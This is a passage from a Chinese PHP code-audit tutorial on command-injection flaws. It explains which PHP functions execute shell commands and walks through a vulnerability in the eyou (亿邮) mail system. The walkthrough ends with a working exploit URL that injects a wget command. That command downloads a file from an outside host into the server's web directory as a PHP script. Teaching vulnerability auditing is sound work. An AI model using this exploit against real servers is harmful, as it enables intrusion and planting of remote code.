5.3.1 挖掘经验
命令执行漏洞最多出现在包含环境包的应用里,类似于 eyou(亿邮)这类产品,直接在系统安装即可启动自带的 Web 服务和数据库服务,一般这类的产品会有一些额外的小脚本来协助处理日志以及数据库等,Web 应用会有比较多的点之间使用 system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_open() 等函数执行系统命令来调用这些脚本,用得多了难免就会出现纰漏导致漏洞,这类应用可以直接在代码里搜这几个函数,收获应该会不少。除了这类应用,还有像 discuz 等应用也有调用外部程序的功能,如数据库导出功能,曾经就出现过命令执行漏洞,因为特征比较明显,所以可以直接搜函数名即可进行漏洞挖掘。
5.3.1.1 命令执行函数
上面我们说到有七个常用函数可以执行命令,包括 system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_open(),另外还有反引号(`)也一样可以执行命令,下面我们来看看它们的执行方式。
这些函数里 system()、exec()、shell_exec()、passthru() 以及反引号(`)是可以直接传入命令并且函数会返回执行结果,比较简单和好理解,其中 system() 函数会直接回显结果打印输出,不需要 echo 也可以,我们来用代码举例。测试代码如下:
<?php system ( 'whoami' );? >
可以看到执行结果输出了当前 WebServer 用户,如图 5-11 所示。
pcntl 是 PHP 的多进程处理扩展,在处理大量任务的情况下会使用到,使用 pcntl 需要额外安装,它的函数说明如下:
void pcntl_exec ( string $path [ , array $args [ , array $envs ]] )
图 5-11
其中$path 为可执行程序路径,如果是 Perl 或者 Bash 脚本,则需要在文件头加上#!/bin/bash 来标识可执行程序路径,$args 表示传递给$path 程序的参数,$envs 则是执行这个程序的环境变量。
popen()、proc_open() 函数不会直接返回执行结果,而是返回一个文件指针,但命令是已经执行了,我们主要关心的是这个。下面我们看看 popen() 的用法,它需要两个参数,一个是执行的命令,另外一个是指针文件的连接模式,有 r 和 w 代表读和写。测试代码如下:
<?php popen ( 'whoami >>D : /2.txt' , 'r' );? >
执行完成后可以在 D 盘根目录看到 2.txt 这个文件,内容为 WebServer 用户名。
5.3.1.2 反引号命令执行
上面我们讲到反引号(`)也可以执行命令,它的写法很简单,实际上反引号(`)执行命令是调用的 shell_exec() 函数,为什么这么说?我们来看一段简单的代码就知道了,代码如下:
<?php echo `whoami` ;? >
这段代码正常执行的情况下是会输出当前用户名的,而我们在 php.ini 里面把 PHP 安全模式打开一下,再重启下 WebServer 重新加载 PHP 配置文件,再执行这段代码的时候,我们会看到下面这个提示:
Warning : shell_exec () [function.shell-exec] : Cannot execute using backquotes in Safe Mode in D : \www\test\1.php on line 2
这个提示说明反引号执行命令的方式是使用的 shell_exec() 函数。
5.3.1.3 亿邮命令执行漏洞分析
命令执行的漏洞案例还是有很多的,这里挑选笔者自己挖到的比较经典的一个 eyou(亿邮)的命令执行漏洞,重点在于漏洞的逻辑,而不在于漏洞的影响力有多大。
漏洞利用在/swfupload/upload_files.php 文件,代码如下:
<?php //-- 获得 UID , DOMAIN , TOKEN $uid = $_GET['uid'] ; // 从 GET 中获取 uid 参数 $domain=$_GET['domain'] ; // 从 GET 中获取 domain 参数 $token = $_GET['token'] ; $POST_MAX_SIZE = ini_get ( 'post_max_size' ); $unit = strtoupper ( substr ( $POST_MAX_SIZE , -1 )); $multiplier = ( $unit == 'M'?1048576 : ( $unit == 'K'?1024 : ( $unit == 'G'?1073741824 : 1 ))); if (( int ) $_SERVER['CONTENT_LENGTH'] > $multiplier* ( int ) $POST_MAX_SIZE && $POST_MAX_SIZE ) { header ( "HTTP/1.1 500 Internal Server Error" ); echo "POST exceeded maximum allowed size." ; exit ( 0 ); } //-- 获得附件存放路径 存在用户的 token 目录下 $save_path = getUserDirPath ( $uid , $domain ); // 传入 uid 参数到 getUserDirPath () 函数
从代码中可以看出,$uid=$_GET['uid'];表示从 GET 中获取 uid 参数,在下面一点将$uid 变量传递到了 getUserDirPath() 函数,跟进该函数,在/inc/function.php 文件,代码如下:
function getUserDirPath ( $uid , $domain ) { $cmd = "/var/eyou/sbin/hashid $uid $domain" ; $path = `$cmd` ; $path = trim ( $path ); return $path ; }
该函数拼接了一条命令:
$cmd = "/var/eyou/sbin/hashid $uid $domain" ;
可以看到$uid 和$domain 变量都是从 GET 请求中获取的,最终通过反引号(`)来执行,所以我们可以直接注入命令,最终 exp 为:
/swfupload/upload_files.php?uid=|wget+http : //www.x.com/1.txt+-O+/var/eyou/apache/htdocs/swfupload/a.php&domain=
表示下载 http://www.x.com/1.txt 到/var/eyou/apache/htdocs/swfupload/a.php 文件。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论